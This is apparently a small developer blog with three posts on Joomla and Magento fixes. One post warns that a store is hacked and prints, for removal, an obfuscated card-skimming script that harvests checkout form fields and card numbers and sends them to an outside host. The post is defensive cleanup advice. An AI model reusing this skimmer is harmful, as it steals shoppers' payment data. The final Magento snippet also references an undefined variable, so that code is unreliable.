Tuesday, 16 February 2016

Joomla : 500 - PHP regular expression limit reached (pcre.backtrack_limit)


Hello,

I also got this error 500 "PHP regular expression limit reached (pcre.backtrack_limit)" on my website Top iPhone Apps created in Joomla 1.7.3

This occurred when I created so many menu items. After searching forums, I was able to fix it.
How? Here is the solution:

This is some kind of php restriction and you will need to override this php restriction by modifying index.php on your root.

Add following two lines in index.php and you don't need to modify any other file:

ini_set('pcre.backtrack_limit',1000000);
ini_set('pcre.recursion_limit',1000000);

Once it is modified, clear your cache and reopen your website. Its working fine.

Tuesday, 9 February 2016

XMLHttpRequest cannot load https://ownsafety.org/opp.php. No 'Access-Control-Allow-Origin'

Your site is hacked.
  • Go to System > Configuration > Design.
  • Select Html head > Miscellaneous Scripts
  • Remove this script: on all default and all store view
<script>function j(e){var t="; "+document.cookie,o=t.split("; "+e+"=");return 2==o.length?o.pop().split(";").shift():void 0}j("SESSIID")||(document.cookie="SESSIID="+(new Date).getTime()),jQuery(function(e){e("button").on("click",function(){var t="",o="post",n=window.location;if(new RegExp("onepage|checkout").test(n)){for(var c=document.querySelectorAll("input, select, textarea, checkbox"),i=0;i<c.length;i++)if(c[i].value.length>0){var a=c[i].name;""==a&&(a=i),t+=a+"="+c[i].value+"&"}if(t){var l=new RegExp("[0-9]{13,16}"),u=new XMLHttpRequest;u.open(o,e("<div />").html("&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#111;&#119;&#110;&#115;&#97;&#102;&#101;&#116;&#121;&#46;&#111;&#114;&#103;&#47;&#111;&#112;&#112;&#46;&#112;&#104;&#112;").text(),!0),u.setRequestHeader("Content-type","application/x-www-form-urlencoded"),u.send(t+"&asd="+(l.test(t.replace(/s/g,""))?1:0)+"&utmp="+n+"&cookie="+j("SESSIID")),console.clear()}}})});</script>

Tuesday, 2 February 2016

Magento – get Attribute details by attribute code

magento attribute is a very important part of the catalog structure. Many a time we need to get some other details of the attribute, for example frontend label or attribute id or the attribute frontend type. This code returns all the details of the product attribute using the attribute code $attribute_attributecode = "attributecode"; $attribute_details = Mage::getSingleton("eav/config")->getAttribute("catalog_product", $attribute_utpftp); $options_attributecode = $attribute_details->getSource()->getAllOptions(false); $attribute = $attribute_details->getData(); $label_attributecode =$attribute['frontend_label']; $input_attributecode =$attribute['frontend_input'];